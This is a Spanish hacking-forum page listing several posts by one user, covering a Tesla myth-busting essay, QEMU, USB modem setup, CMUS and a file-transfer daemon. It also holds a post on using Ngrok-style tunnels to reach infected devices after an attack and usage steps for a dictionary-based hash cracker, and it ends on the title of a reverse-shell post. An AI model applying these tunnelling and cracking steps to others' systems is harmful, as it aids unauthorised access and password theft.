Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - DtxdF

#41
Off Topic / Las mentiras de Tesla
Febrero 23, 2020, 06:00:23 PM
Mucho de lo que creemos saber sobre Tesla son mentiras. Ni murió pobre, ni le plagiaron la radio, y por supuesto, no inventó un rayo de la muerte.

A todos nos gustan las buenas historias, estamos dispuestos a creerlas a pies juntillas mientras su narrativa nos atraiga. Algunas funcionan mejor que otras, pero en ciencia hay una que se ha hecho viral. Sus ingredientes están claros: un niño de una humilde familia de Croacia demuestra una inteligencia superior y emigra a Estados Unidos para cambiar el mundo. Allí se enfrenta a un jefe explotador al que derrota, pero no consigue el reconocimiento que merecía y muere solo, pobre, perseguido por el FBI y, si me apuras, por los extraterrestres. Se trata de la historia de Nikola Tesla, o al menos del Nikola Tesla del que nos suelen hablar.

Antes de seguir, nadie pone en duda que Tesla tenía una mente genial y que sus frutos han tenido un impacto decisivo para modelar el mundo en el que vivimos. Sin embargo, es frecuente encontrarle encabezando listas de los mejores científicos de la historia, y la pregunta se vuelve evidente ¿Realmente merece ese puesto? ¿Fue más influyente que Newton, Gauss o Darwin? La respuesta no es fácil, lo cierto es que nunca lo es cuando se habla de biografías, porque, aunque nos cueste aceptarlo, incluso las personas más excepcionales de la historia siguen siendo personas, no seres de luz.

Hijo de la luz

Tesla nació el 7 de enero de 1856, en Smiljan, en la actual Croacia. Cuentan que el parto tuvo lugar durante una intensa tormenta y que, al verlo, la matrona dijo "Será el hijo de la tormenta", a lo que su madre Đuka Mandić respondió: "No, será hijo de la luz". Ninguna de ellas podía imaginar que el pequeño Nikola acabaría inventando el motor de energía alterna que daría energía a la humanidad. La verdad es que nunca sabremos si esta conversación fue real, pero hay que reconocer que pocas biografías comienzan de una forma tan novelesca.

Sabemos que Tesla fue un joven inquieto, amante de la ingeniería y de la física, y que, estando profundamente enfermo de cólera, consiguió quitarle a su padre la idea de hacer de él un sacerdote. Leía casi las 24 horas del día y apenas dormía, pero en contra de lo que el mito nos dice, Tesla no fue siempre el primero de la clase. En su segundo año de carrera perdió la motivación, dejo de estudiar e incluso se volvió adicto al juego. Por suerte terminó reponiéndose al bache y acabó la carrera.

El joven Tesla fue medrando como ingeniero, encontrando mejores trabajos hasta que le contrató la Continental Edison Company, al fin trabajaba para Thomas Alva Edison, una de las mentes a las que él más admiraba. El siguiente paso estaba al otro lado del océano, ya no le quedaba mucho más por crecer en el viejo continente, y en el nuevo le estaba esperando un Edison de carne y hueso, con el que poder trabajar mano a mano.
Publicidad

Nikola llegó a la tierra de las oportunidades con una mente genial, un sueño, poca visión empresarial y varios kilos de ego. Aquello era una combinación explosiva en presencia del Edison, los dos trenes chocaron frontalmente y Tesla se sintió infravalorado. Tras algunos rifirrafes decidió abandonar General Electric. Edison le había prometido una recompensa económica por mejorar una de sus patentes y, tras conseguirlo, se había desdicho tratando a Tesla de ingenuo. Hasta aquí mito y realidad caminan casi a la par, es ahora cuando surge la fantasía.

Érase una vez

Lo que cuenta el mito es que Tesla se las apañó para plantar cara a Edison en solitario, poniendo en jaque a General Electric presentando el motor de corriente alterna una mejor alternativa a su producto estrella: el motor de corriente continua. La diferencia estaba en que el motor de Tesla era capaz de cambiar el sentido de la corriente de forma alternante, yendo y viniendo, mientras que la continua viaja en una sola dirección.
Publicidad

Es posible que, como dice la historia, Tesla tuviera un momento eureka durante su tiempo en Europa, pero había un largo camino que recorrer entre esa inspiración y la comercialización a gran escala de un nuevo modelo de corriente. Lejos de trabajar solo, Tesla contó con un gran equipo trabajando a sus órdenes y con el apoyo económico de otro de los mayores ingenieros de su época, el magnate George Westinghouse. Finalmente, pese a ser menos segura, la rentabilidad del modelo de corriente alterna para transmitir energía a largas distancias hizo que imperara durante mucho tiempo. Tesla había ganado, pero acompañado.

A medida que nos alejamos de esta Guerra de las Corrientes su vida y el mito divergen cada vez más. Sobre todo, cuando mezclamos los intereses de grandes empresas.

Energía para todos

Más que por la corriente alterna, Tesla ha pasado a la cultura popular por la torre de Wardenclyffe, de 150 metros de altura. Un intento de suministrar electricidad sin cables a todo el mundo. La idea es maravillosa y el altruismo que destila se gana a cualquiera que la escuche, pero ¿cuánta verdad hay en esa historia? Tesla era uno de esos científicos con más fuerte dimensión social, como Arquímedes de Siracusa, Marie Curie o Dimitri Mendeleyev. Pero por supuesto, las fuerzas oscuras de las grandes empresas no podían consentir que llegara la utopía energética y sabotearon sus investigaciones, haciendo que el mismísimo FBI demoliera la torre.

En realidad, ahora sabemos que las hipótesis en las que se basaba Tesla estaban equivocadas. Él quería transmitir energía no por el aire, sino por la tierra, aprovechando la propia resonancia de nuestro planeta. Sin embargo, el mito va más allá, porque si bien la torre fue derrumbada por el gobierno, se debió a las sospechas de que estuviera siendo empleada por los nazis durante la segunda guerra mundial, ya que las patentes de Tesla le hacían percibir notables sumas del Tercer Reich. Pero, es más, para cuando los Estados Unidos tomaron cartas en el asunto, los inversores ya habían retirado el dinero del proyecto ante la falta de resultados.

La guerra de las patentes

Parece que Tesla hubiera ido tomando poco a poco un papel de mártir, sacrificándolo todo por el bien de la sociedad. Si bien es cierto que el dinero le importaba entre poco y nada, había algo que hervía en su interior y era el deseo de reconocimiento. Todo lo burocrático le repelía, pero si tenía que hundirse en papeleo para conseguir lo que era suyo, lo haría sin dudarlo. Eso es lo que ocurrió con la radio y su inventor, Guillermo Marconi. Tesla consideraba que la idea de enviar energía a distancia le pertenecía, a fin de cuentas, su torre Wardenclyffe se basaba en ello.

Siguiendo esta misma línea, hay mucha gente que hoy considera que Tesla ha sido vapuleado por la historia y que la patente era suya, sin embargo, el veredicto de la justicia fue claro. El invento era propiedad de Marconi, por mucho que utilizara algunas piezas patentadas por Tesla, pues también empleaba ingenios de otros inventores y el valor del aparato estaba en cómo habían sido ensambladas sus partes, no tanto en de qué estaba compuesto. Así que no, a Tesla no le robaron la radio.

El príncipe destronado

Como he dicho, las ensoñaciones populares se vuelven más extraordinarias a medida que Tesla envejece. Hacia el final de su vida comenzó a hablarse de un rayo de la muerte, una máquina de producir terremotos y todo tipo de ideas de ciencia ficción. Lo cierto es que no se tiene evidencias de que estos artilugios llegaran a existir, ni siquiera como bosquejos sobre el papel, y es más, el criterio científico apunta a que eran directamente descabellados. Pero entonces ¿de dónde salen estas mentiras? La respuesta, en este caso, es realmente inesperada: las difundió el mismo Nikola.

Durante su vida profesional, Tesla ganó prestigio y consiguió subvenciones de algunos de los hombres más ricos del país. No obstante, cuando el trabajo empezó a escasear, Tesla se encontró solo y comenzó a tener comportamientos extraños. Durante toda su vida había tenido crisis nerviosas, pero en este caso su comportamiento era distinto. Escribía airadas columnas en la prensa y reclamaba la autoría de cualquier invento que saliera a la luz. Tardó poco en llevar esta llamada de atención al siguiente nivel, inventando historias sobre los proyectos que, supuestamente, estaba desarrollando, hablándole directamente a los periodistas de armas legendarias y panaceas tecnológicas. La prensa, por supuesto, tomó sus palabras como un diamante en bruto, explotándolas y dándoles nombres sonoros y sobrecogedores, como: el rayo de la muerte.

Mintió. No podemos juzgarle por ello, no sin tener en cuenta su situación y todo lo que le llevó hasta allí. Pero el rayo de la muerte, aquello por lo que más se le conoce, no solo es falso, sino que fue una mentira contada a la prensa durante sus últimos años. La gran mentira de Tesla.

El héroe caído

Aquellas historias ocurrieron en el hotel donde pasó sus últimos días, el Waldorf Astoria. Cuentan que murió arruinado, pero lo cierto es que percibía una pensión de su antiguo jefe, Westinghouse. Además de esto, el hotel lo cubría el gobierno yugoslavo, por tejemanejes de uno de sus familiares. Es cierto que un hombre de su recorrido podía haberse vuelto realmente rico con el dinero de sus patentes, aunque, como hemos dicho, Tesla siempre fue bastante descuidado con las finanzas. Esto y algunas temporadas donde recaía apostado al billar hicieron que su economía fuera inestable, pero no murió en la indigencia, como algunas fuentes afirman.

Puede que nos sorprenda cuánto puede deformarse la historia de una persona, pero a medida que uno bucea en la historia descubre que más que biografías, muchas veces se escriben verdaderas hagiografías, casi canonizando al personaje y blanqueando las humanas impurezas que todos tenemos. En el caso de Tesla es especialmente llamativo porque no necesita la ficción.

Él, su mente y su vida eran más que suficientes para darle un puesto en el panteón de la ciencia. Un hombre fantástico que, pese a sus peculiaridades, quería hacer del mundo un lugar mejor. Una persona que, por el motivo que fuere, ha permanecido muchas décadas invisible a los ojos de la historia y que ahora ha resurgido con un entusiasmo exagerado. Tesla es capaz de levantar pasiones y, desde la tumba, cuenta con ejércitos de fans dispuestos a defender su "honor" frente a la verdad.


Admirar a alguien es maravilloso, supone reconocer tu propia imperfección y abrirse a la experiencia de otros, sin embargo, admirar y endiosar son cosas muy distintas. Una de ellas te hace crecer, la otra te volverá esclavo.

QUE NO TE LA CUELEN:



  • Tesla fue una de las mentes más brillantes de su época, pero era humano y no solo se movía por altruismo. Buscaba un reconocimiento que merecía por completo.
  • La mayoría de los inventos que se le atribuyen son falsos. Jamás creó nada parecido a una torre de la muerte y la torre de Wardenclyffe no consiguió funcionar.
  • Es cierto que su popularidad se fue perdiendo con los años, pero no vivió su vejez en la pobreza.

Fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#42
Cada vez que realizamos un ataque nos hace falta un complemento. Sobrepasar los limites de nuestras 4 paredes con el fin de poder contactarnos sin ningún problema con el dispositivo infectado. Por eso hoy repasaremos algunas herramientas muy usadas y útiles para lograr de manera efectiva, nuestra noble causa.

Ngrok

La archiconocida herramienta Ngrok nos permitirá crear un No tienes permitido ver enlaces. Registrate o Entra a tu cuenta a partir de un servicio en nuestra red local a un sitio fuera de ésta.

Una reseña sencilla al igual que la herramienta. Tan sencilla como su instalación:



Como se puede observar, hasta la misma página oficial nos muestra que tan fácil es descargarla e instalarla, claro, en entornos *nix, no obstante es posible usar Ngrok sin ningún inconveniente en Windows o Mac OS.

Ahora para cerrar, podemos terminar descargando y usando Ngrok. Para ello seguimos unos pasos tan triviales cómo:

Descargar:

Nos situamos en la página web oficial de la herramienta: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta



Descomprimir:



Crear una cuenta:

Este paso equivale a obtener el token de acceso y usar el servicio que nos ofrecen, de lo contrario Ngrok no nos dejará en paz como se muestra en la siguiente imagen:



Ingresamos nuestros datos en: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta



Ó podemos usar algún servicio que usemos como Google o Github:



Guardamos el token de acceso:



Usamos el servicio:



No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es una plataforma que nos permite al igual que Ngrok exponer nuestros servicios a Internet, sólo que a diferencia de éste, No tienes permitido ver enlaces. Registrate o Entra a tu cuenta usa OpenVPN para definir reglas como el reenvío de puertos, lo que significa que no tenemos que instalar ningún software adicional como en el caso de Ngrok.

Cabe aclarar que el servicio puede ser tanto Gratis como Pago.



Lo que quiere decir que este tutorial usaremos la versión «Free», por lo que nos tenemos que registrar en la primera opción de la imagen.

Tenemos que ingresar los datos que requiere para registrarnos:



Una vez hecho el paso anterior, nos llegara un mensaje de confirmación a nuestra bandeja de Correo Electrónico; confirmamos y podremos usar el servicio con éxito luego de ingresar nuestras credenciales.



Posteriormente se nos mostrara todas las reglas que tengamos configuradas, sin embargo, por ahora no tenemos ya que es primera vez que usamos el servicio, por lo tanto «Clickearemos» en el botón "Create New Rule".



Ingresamos el puerto del servicio que usaremos en nuestra máquina y presionaremos "Create":



Al terminar la configuración nos mostrara en la tabla los datos de la configuraciones actuales:



Presionaremos en la columna "config" para copiar o descargar el archivo de configuración:



Para finalizar, vamos a poner marcha la configuración:





Serveo

Serveo no es un software, no usa una configuración especifica, no necesita que nos registremos. Eso es lo bello, es un servicio simple, pero que cumple con nuestras necesidades y todo lo especificamos con una sola linea de comando:

Código: bash
ssh -R 80:localhost:8080 serveo.net


Nota: Debido al Phishing, Serveo está temporalmente deshabilitado como servicio, pero volveran en un par de días, por lo que no pude mostrar capturas de pantalla que corroboren la funcionalidad de este servicio.

Eso es todo, espero les haya gustado. Dejen sus alternativas y mencionen los Pros y Contras de los servicios antes mencionados  ;)

~ DtxdF
#43
¡Hola!.

Cómo todos sabemos, tener conocimiento del Inglés es un pilar fundamental de nuestro apredizaje, puede que les guste o puede que no, pero sin dudarlo puede ayudarles, por eso tes traigo un pequeño aporte que quizas les ayude para su futuro.

Enlace del libro: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Espero les ayude...

Actualización (2022-02-16):

*.- En Wayback Machine se puede obtener: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#44
La idea de la virtualización en software se refiere al acto de poder ejecutar y/o manipular sistemas invitados en un mismo alfiltrión. Algo sencillo si se piensa, pero no tan efectivo en la practica y mucho menos las primeras veces que se toca un programa de esta embergadura.

Siempre que escogemos un entorno para poder realizar la virtualización tendemos a tener una lista muy reducida de dos items en nuestra cabeza. VirtualBox y VMWare.

Tenemos que tener en cuenta que la virtualización es un proceso que lleva su tiempo y es necesario comprender para entender los limites de nuestra necesidad, por eso repasaremos o aprenderemos los conceptos bases de este tema tan magnifico.

Una ayuda perfecta para comenzar es saber los tipos de virtualización y cómo funcionan de forma abstracta.

Emulación o simulación del hardware a nivel de aplicación:

Es básico, consiste en poder ejecutar un software que fue programado para un mismo CPU o uno diferente, aunque resumiendo, básicamente lo que hace este tipo de virtualizadores es actuar cómo un traductor entre el código binario del programa virtualizado a una instrucción del CPU real.

El inconveniente de este producto es su lentitud, ya que una instrucción del programa puede contener 100 y cuando se pasá a ejecutar esas instrucciones al CPU pueden llegar a ser 1000, en teoría.

Ejemplos:


Virtualización completa o nativa sin apoyo hardware:

En este tipo de sistemas el hipervisor se encarga de emular un sistema completo y analiza dinámicamente el código que quiere ejecutar el sistema invitado, reemplazando las instrucciones críticas (las que hace falta virtualizar) por nuevas secuencias de instrucciones que tienen el efecto deseado en el hardware virtual, mientras que las instrucciones no críticas se ejecutan tal cual en la CPU real.

Ejemplos:


Virtualización completa o nativa con apoyo hardware:

Este tipo de sistemas funcionan de manera similar a los sistemas de virtualización completa sin apoyo hardware, pero aprovechan tecnologías incorporadas a las nuevas generaciones de microprocesadores como las de Intel (Intel-VT, VT-x para 32 bit y VT-y para 64 bit) y AMD (AMD-V), de forma que es posible ejecutar el código del sistema operativo invitado sin modificarlo.

En estos sistemas lo que se hace es ejecutar el hipervisor o VMM con el máximo nivel de acceso a la CPU (Anillo -1 en procesadores AMD e Intel) y los sistemas invitados se ejecutan a un nivel inferior (Anillo 0 en procesadores AMD e Intel, que era el máximo nivel de ejecución cuando los procesadores no incorporaban apoyo para la virtualización).

Con la introducción de un nivel superior al que ya usaban los sistemas reales conseguimos que no sea necesario hacer ningún cambio a los sistemas invitados, pero ahora esos sistemas no tienen acceso a los dispositivos reales y es la CPU quién avisa al VMM cuando se quieren ejecutar instrucciones para acceder a los dispositivos desde los sistemas invitados y es el hipervisor quién se encarga de dar el acceso a los dispositivos virtuales o reales que correspondan.

Ejemplo:


Paravirtualización:

Son sistemas similares a los de virtualización completa, que ejecutan el sistema invitado con un hipervisor que se ejecuta sobre el sistema real.

La diferencia con el modelo anterior es que en este tipo de virtualización se modifica el sistema operativo invitado para incluir instrucciones relacionadas con la virtualización, de forma que en lugar que el hipervisor capture las instrucciones problemáticas, es el sistema invitado quién llama directamente al hipervisor cuando es necesario.

Evidentemente, con independencia de las modificaciones del núcleo del sistema invitado, los programas de usuario se pueden ejecutar sin ningún cambio.

Un caso extremo de este modelo de virtualización es el del UML (User-mode Linux), en el cual el núcleo del sistema invitado se transforma en una aplicación a nivel de usuario que hace la función de hipervisor y se encarga de emular el hardware, a pesar de que lo hace a nivel de la interfaz del sistema operativo y no a nivel de interfaz física (como el acceso a los dispositivos dentro del sistema invitado siempre se hace a través del núcleo no hace falta emular el hardware, sólo la visión que tienen de él los programas de usuario).

El gran problema de este modelo es que hace falta modificar el sistema operativo invitado, cosa que no es posible en algunos casos (por ejemplo, ¿cómo modificamos el código de Windows para que funcione con para-virtualización?).


Virtualización a nivel de sistema operativo:

En este tipo de sistemas sólo ejecutamos un núcleo (el del anfitrión) y este núcleo crea entornos de ejecución que las aplicaciones ven como máquinas virtuales.

En principio en este tipo de sistemas no hace falta emular el hardware a bajo nivel, puesto que en realidad es el mismo sistema operativo quién controla los dispositivos físicos. Lo que sí se suele hacer es incluir apoyo para tener dispositivos virtuales como discos o tarjetas de red dentro de cada entorno de ejecución.

La idea es que los programas se ejecutan en un entorno que hace creer a las aplicaciones que se encuentran en un sistema independiente cuando en realidad comparten recursos con otras máquinas virtuales, a pesar de que el sistema organiza las cosas para evitar que los entornos se interfieran entre ellos.

Este es uno de los modelos de virtualización más económico, puesto que no necesita apoyo del hardware ni hace falta supervisar el código abajo nivel, pero tiene el inconveniente que sólo permite ejecutar entornos virtuales para la misma CPU y sistema operativo y en realidad sólo hay un núcleo, de forma que si ese núcleo tiene un problema todas las máquinas virtuales se ven afectadas.

Ejemplos:


Probando el virtualizador QEMU

QEMU es un emulador de procesadores basado en la traducción dinámica de binarios (conversión del código binario de la arquitectura fuente en código entendible por la arquitectura huésped). QEMU también tiene capacidades de virtualización dentro de un sistema operativo, ya sea GNU/Linux, Windows, o cualquiera de los sistemas operativos admitidos; de hecho es la forma más común de uso. Esta máquina virtual puede ejecutarse en cualquier tipo de Microprocesador o arquitectura (x86, x86-64, PowerPC, MIPS, SPARC, etc.). Está licenciado en parte con la LGPL y la GPL de GNU.

Ahora vayamos con la instalación, pero primero lo primero, QEMU se maneja por la interfaz de la linea de comandos, pero no hay que preocuparse instalaremos una interfaz gráfica para facilitar las cosas.

Código: bash
sudo apt-get install qemu qemu-kvm virt-manager virt-viewer libvirt-clients


La instalación puede durar un tiempo considerable, así que lo mejor será esperar...

Una vez finalizada, tenemos un lindo icono en el menú de aplicaciones (Ya depende de su escritorio):



Ejecutamos y tenemos una linda interfaz muy bien organizada y clara:



Pueden ver que tengo Debian 10 (Buster) ya ejecutandose, pero tranquilos, lo haremos desde cero

Tenemos que presionar el botón que señalo en la imagen para crear una máquina virtual.



Al pinchar se nos mostrará otra ventana dónde tenemos que seleccionar el método de instalación:



En nuestro caso elegiremos "Medio de instalación local".



Ajustamos la dirección de nuestra ISO y la distribución en que está basada. En mi caso deseo que haga una detección automática, pero en algunos casos necesitamos especificarla explicitamente, pero hay veces en que no sabemos o no está basada en ninguna distribución de la lista, por lo que tenemos la posibilidad de colocarlo en "Generic" cómo en la siguiente imagen.



Ahora debemos configurar el máximo de Memoria RAM y la cantidad de CPUs a utilizar:



Configuramos el máximo del almacenamiento:



Ahora debemos confirmar el resumen, pero antes les aconsejo que pinchen adónde dice "Personalizar antes de instalar" para confirmar algunas cosas y evitar un error que les dará en caso de no hagamos lo que mostraré acontinuación.



Cómo ven es muy sencillo, deben configurar deacuerdo a lo que desean, pero si no saben *Inicien la instalación de una vez*, pero antes hagan el siguiente paso para evitar un error al bootear la distro:



Tildamos "Habilite menú de arranque" y lo demás, posteriormente aplicamos los cambios en el botón que dice "Aplicar" en la esquina inferior-derecha.



Listo, ya tenemos nuestro sistema instalado y listo para ejecutarse.

QEMU, no es el único programa para este fin, hay una gran variedad para diversos o los mismo propositos, pero esa desigualdad se ajusta a nosotros  ;)

Les dejo unos enlaces para que aprendan más sobre la virtualización y QEMU:

Wikipedia: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Mucho sobre QEMU)
Universitat de Valencia: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta (Qué es virtualización, sus tipos y mucho software para este fin)

~ DtxdF
#45
Si eres de las personas cómo yo que utlizan un Modem USB o también conocido simplemente cómo Bam para proporcionarte Internet en situaciones díficiles, te sentiras incomodo por la escasa o casi nula documentación acerca de como es la instalación desde una Terminal en nuestra distribución GNU/Linux.

Lo primero que tenemos qué instalar es "NetworkManager" con nuestra querida herramienta "APT".

Código: bash
sudo apt-get install network-manager


Ahora tenemos que ver los dispositivos que detecta NetworkManager con el siguiente comando:

Código: bash
nmcli d


Mayormente aparece con el nombre de dispositivo "ttyUSB[0-2]" pero puede que les pueda aparecer diferente según su marca/modelo.

Luego de haber visto el nombre del dispositivo, editemos/creemos una nueva conexión con el siguiente comando:

Código: bash
nmcli c edit type gsm con-name Movistar


Nota: El comando ejecutado anteriormente creá o edita una nueva conexión con el tipo de conexión "gsm" y el nombre de mi conexión "Movistar", pero pueden editarlo según su criterio.

Una vez ejecutado el comando les mostrará la siguiente interfaz:



Los comandos que usaremos serán "help" para pedir ayuda; "save" para guardar la configuración; "set" para cambiar un valor de algún parámetro de la conexión; "quit" para salir y "print" para listar los parámetros y valores de la conexión.

Antes que nada necesitamos saber la APN de nuestro operadora, en mi caso es "No tienes permitido ver enlaces. Registrate o Entra a tu cuenta" y la interfaz de nuestro dispositivo, qué en mi caso es "ttyUSB2".

Código: text
set gsm.apn internet.movistar.ve
set connection.interface-name ttyUSB2



  • Primero. Ajustamos la dirección de la APN
  • Segundo. Ajustamos el nombre de nuestra interfaz

Ahora guardamos los valores con "save"; puede que les dé una advertencia indicando que el valor "autoconnect" está ajustado a "yes", por lo que puede activar nuestra conexión de forma inmediata, simplemente sí deseas que sea así escribe "yes" o presiona "[ENTER]", sino configuralo y haz el mismo procedimiento.

Por último salimos con "quit" y éste sería el último paso sólo sí colocaste el parámetro "autoconnect" en "yes", en caso de que no, sigue el siguiente paso.

El comando que les mostraré acontinuación hará que puedan conectarse a la red.

Código: bash
nmcli d connect ttyUSB2


Listo, espero les sirva y compartan esta información ya que es muy escasa.

~ DtxdF
#46
Debates, Reviews y Opiniones / Systemd vs. init
Febrero 06, 2020, 06:32:16 PM
Systemd vs. init

Desde hace pocos años hay una discusión informal sobre si utilizar uno o el otro, hasta alternativas para dejar al viejo init sin usar systemd, incluso algunas personas de este foro que están interesados en los mismo que yo, saber su opinión en cuanto al tema.

También dejaré un enlace a un artículo un tanto largo pero que explica mucho: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#47

Soy un consevador de los recursos (En la mayoria de casos), fanatico de las aplicaciones en la Terminal, me gusta lo minimalista, así que tengo que escoger aplicaciones TUI (Text User Interfaces) ó CLI (Command Line Interfaces) para realizar mis tareas cotidianas, no significa que desprecie las GUI (Graphical User Interface), pero hay veces en que éstas se complican más o todo lo contrario, se limitan a tener una bonita interfaz pero se olvidan de la funcionalidad.

En la instalación o mejor dicho, la resurreción de una mini laptop que tenía guardada decidí instalar Debian Buster con escritorio LXQT con los paquetes que necesito (Ya que es una instalación netinstall), me recordé que existia una aplicación llamada CMUS, una belleza, simple pero potente.

Lo fenomenal de estas aplicaciones (TUI), es su personalización, se manejan por atajos del teclado lo que nos ahorra mucho tiempo; lo que pueden ser unos cuántos segundos, si lo sumamos podemos llegar a minutos en caso de usar el ratón.

Además podemos instalarlo fácilmente desde nuestra Terminal. Ejecutando el siguiente comando lo podemos hacer en Debian y derivados:

Código: bash
sudo apt install cmus


Una vez instalado lo que nos queda es ejecutar la utilidad y pasaremos a la magia  ;)

Código: bash
cmus




Al igual que Vim, tenemos que usar atajos del teclado, pero tranquilos no es complicado...

Primero lo primero, necesito explicar que CMus utiliza tabuladores (Que es una división de las funcionalidades actuales), por cierto, muy sencillo de cambiar:


  • Colección de Música
  • Librería de Música (Me gusta esta opción)
  • Lista de reproducción
  • Cola de reproducción
  • Navegador de archivos
  • Librería de filtros
  • Configuración y referencia de teclas

Usen los números de su teclado para cambiar entre los tabuladores

Cómo ven no tenemos nada en pantalla, para agregar música simplemente debemos ejecutar el siguiente comando en CMus:

Código: text
:add <Ruta en dónde se encuentra  la música>


CMus comenzará a leer la carpeta y nos mostrará en una lista muy bien organizada de las canciones que queramos reproducir.

Ahora pasemos con los comandos












vDetener la reproducción y dejarla desde el inicio
ENTEREmpezar a reproducir una canción
bSiguiente pista
zPista anterior
cPausar/Reanudar reproducción
sAlternar aleatoriamente
xReiniciar la pista
-Reducir un 10% del volumen
=/+Aumentar 10% del volumen
qCerrar CMus

Algunos capturas de pantalla más:

Buscar un nombre de una canción:



Cambiar los atajos:



Explorando:



Agradacimientos a: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y las manpages, especificamente "man cmus-tutorial"

PD: Mientras escribia ésto, escuchaba música usando CMus  ::)

~ DtxdF
#48
Hola, tengo una duda que me ya me ha costado una hora...

Resulta que instale Debian buster en una instalación netinstall; poco a poco estuve instalando lo que necesitaba, ya terminado con las utilidades, pasé a el escritorio, me decidí por LXQT para darle una oportunidad, ya que anteriormente he usado MATE y XFCE en mi distribución que más uso (Kali Linux) y también porque estoy reviviendo una mini laptop con pocos recursos, así que creo que es una buena elección.

El problema radica cuando estaba configurando un poco el Escritorio, el Panel, ya saben lo típico. Cuándo le cambié el estilo QT, especificamente de fusion a bb10dark (No es que queria cambiar a ese, simplemente fui cambiando poco a poco e ir viendo cual me gustaba más), los botones se colocaron extremadamente grandes impidiendo que pueda volver a reconfigurarlos por mi resolución de la mini laptop; al menos eso pensé, que era por culpa de la resolución (Me pasa con Kali), mi solución en mi cabeza fue "Simplemente lo conecto a el monitor y listo, me da un espacio para cambiar el tema y darle a aplicar", pero NO, no paso exactamente eso.

Aquí está una imagen para que vean:



Sigo buscando para ver si se puede reconfigurar por un archivo de configuración desde la terminal y arreglar todo, pero si alguien tiene una mejor solución, ese será el heroe  :D

PD: Tengo Internet limitado, por cada vez que hago uso de éste, es dinero invertido (o perdido), así que cada byte cuenta, por lo que no quisiera volver a reinstalarlo ya que se me fueron 170 MB  :(. Claro que si no hay más soluciones tendré que volverlo a reinstalar o usar otro cómo XFCE4.

~ DtxdF
#49
¡Hola!

No sé si lo han notado, pero muchas personas (mayormente primerizos) cuando tocan los sockets, independientemente del lenguaje que se esté usando, siempre tienen una pequeña pero gran dificultad que los engancha a un precipicio... los buffers....

Así que quiero mostrarles una posible solución que se me ocurrio cuando un familiar se quejaba de que los tipicos programas para transferir archivos en red son muy lentos; por supuesto que son muy lentos por la increible cantidad de funcionalidades que contienen, pero ¿que tal si hubiera un programa muy básico y minimalista?, eso mi gente es "tftool", una pequeña herramienta escrita en C para motivarlos a usar los queridos sockets.

La instalación se termina cómo el café que tienes al lado:

Código: bash
git clone https://github.com/DtxdF/tftool.git # Clonamos el repositorio
cd tftool # Accedemos a la carpeta clonada
make install # Se compila e instala los archivos en sus rutas correspondientes
service tftool start && service tftool status # Por último iniciamos el daemon y verificamos el estado


No se asusten si están viendo todas esas cosas raras que no tienen sentido, recuerden que pueden leer los códigos si desean

Para no alargar tanto este artículo, explicaré un tutorial muy básico.

Primero que nada, la herramienta es un daemon (¡No demonio!), así que no tenemos ni tampoco podemos introducirle mil parámetros, simplemente podemos abrir un archivo de configuración simple y sencillo y tener el control de la herramienta. El archivo de configuración está ubicado (Por defecto) en: /etc/tftool/gconf.cfg, también tengo que aclarar que no será necesario reiniciar el daemon cada vez que modifiquemos el archivo  ;)

El archivo de configuración, al igual que cada archivo está bien comentado, pueden leerlo y verán que no será necesario aprenderse nada

Ahora unos pequeños comando muy utiles:

Código: bash
python3 tfclient.py -action list -a localhost -p 8043 # Listamos los archivos del directorio remoto
...
# Descargamos el archivo "test.txt" en "/tmp"
python3 tfclient.py -action download -f test.txt -o /tmp/test.txt -a localhost -p 8043
...


Por defecto el directorio de trabajo es en "/root/Descargas", pueden cambiarlo si les complace

No quiero llenarlos de ilusiones, es un programa simple, de hecho no pensé en compartirlo ya que era para un familiar que tenía muchos problemas con los respaldos en varias máquina y así lo motivo a que se una el mundo de Linux.

Lo que espero es que me dejen un comentario de su opinión, también si tienen una duda, consiguen un error o bug (Más importante todavía), aunque también pueden hacer un pull request si les complace.

~ DtxdF
#50
Hacking / Erica - Es hora de romper cosas 3:) ...
Diciembre 27, 2019, 10:16:23 AM
¿Qué es Erica?

Erica es una herramienta que te permitra crackear muchas familias de algoritmos con sus respectivas versiones. Entre los cuales se encuentran: MD5, SHA (1, 224, 256, 384, 512), SHA-3 (224, 256, 384, 512), shake (128, 256), blake2b & blake2s.

¿Cómo lo uso?

Usar Erica es sumamente sencillo, lo primero que debes hacer es descargarlo:

Código: bash
git clone https://github.com/DtxdF/Erica.git
cd Erica


Sí usa Windows, es necesario que instale "colorama"; en el caso de los usuarios con sistema *nix, no es necesario.

Código: bash
python3 -m pip install colorama


Una vez instalado para comenzar con el pie derecho pidamos ayuda con el parámetro "-h" o "--help":

Código: bash
python3 erica.py --help




Ahora para crackear un Hash, que en mi caso será "9b536cba98ee59000fa4be6f09478ac389ed9c9d", ejecutamos el siguiente comando para identificar el hash que se utilizo (En caso de que no tengamos ni idea):

Código: bash
hash-identifier




Ahora tenemos que introducir el hash para que la herramienta nos ayude un poco:



En donde estoy seleccionando lo más coincidente es que sea SHA-1, así que nos vamos con nuestra nueva herramienta para hacerle daño:

Código: python
python3 erica.py -H 9b536cba98ee59000fa4be6f09478ac389ed9c9d -w passwords.txt -p 35 -a sha1


Explicación:


  • -H: En este parámetro va el Hash que vamos a crackear
  • -w: La lista de contraseñas a utilizar
  • -p: Los procesos en paralelo para acelerar el proceso
  • -a: El algoritmo a utilizar; en nuestro caso SHA-1

Presionamos ENTER y vemos como sucede la magia:



Vídeo de demostración:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Cómo ven es realmente fácil, pero ¿se imaginan que un atacante comprometa una base de datos y tenga un diccionario enorme?...

Repositorio: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
#51
Hacking / Miindeath: Una shell inversa minimalista :)
Diciembre 14, 2019, 03:02:03 PM
Miindeath

